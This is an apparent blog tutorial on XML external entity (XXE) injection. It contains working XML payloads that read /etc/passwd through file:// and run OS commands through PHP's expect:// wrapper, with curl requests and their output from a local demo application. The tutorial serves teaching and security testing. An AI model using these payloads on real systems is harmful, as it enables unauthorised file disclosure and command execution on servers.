XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access, and in the case of PHP can lead to Command Execution.

So what is an XML Entity?

An XML entity is a way of representing an item of data in an XML Document. There are many pre-defined internal entities such as &amp; for ampersand (&) and &lt; and &gt; for < and > respectively. These characters if placed directly in an XML document may alter XML Tags and data so need to be represented as the entity.

What are custom entities?

XML provides us a way to use a Document Type Definition (DTD) to declare the structure of an XML document. It provides us with the ability to provide custom types using the DOCTYPE element at the start of of a Document.

XML also allows custom entities to be defined within the DTD using the ENTITY element when defining a doctype. For example :

1
<!DOCTYPE demodoc [ <!ENTITY customentity "Hello World!" > ]>

This document definition will replace any references to &customentity; with the string “Hello World”.

What is an external entity?

An External Entity is a custom entity that relies on a definition that is not part of the DTD. To do this when we define an entity we can use the SYSTEM keyword. For example :

1
<!DOCTYPE demodoc [ <!ENTITY customentity SYSTEM "http://keiran.scot" > ]>

With this definition we replace the &customentity; reference with the contents of the url defined.

This is very useful if you intent to perform an SSRF attack from the XML processor

How can we exploit this?

When we find a target using XML to transmit data we can intercept this request, or submit a modified XML document, or even an SVG or DOCX, with an external entity.

As we know from earlier we can define an external entity using the SYSTEM keyword to call a URL, This has many advantages and gives us the ability to call other protocol handlers registered on the system.

By making use of the file:// protocol handler we can then extract the contents of a file on the system.

For example the following XML document will read the content of /etc/passwd when passed to a vulnerable XML Handler.

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    <name></name>
    <email>&xxe;</email>
</root>

if we post this to a vulnerable application the contents of the file are displayed

$ curl -X POST -d @xml-document.xml http://localhost:8080
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
...

Command Execution

Most languages do not have a method of performing OS Command Execution from XML processors, However with PHP thats a little different when the expect module is enabled.

The expect module registers a PHP wrapper (expect://) that can be used to run OS commands.

If we modify the above XML document to run an OS command like id it will dump out the STDOUT contents from the command.

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "expect://id">
]>
<root>
    <name></name>
    <email>&xxe;</email>
</root>
$ curl -X POST -d @xml/exect.xml http://localhost:8080
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Wrapping up

As we learned XML can be exploited using External Entities to exfiltrate data and in some cases can lead to command execution.

I’ve uploaded the demo PHP application and Dockerfile to Github so you can try this out for yourself, I’ve also included an exploit script written in python.

If you enjoyed this guide feel free to Buy me a coffee!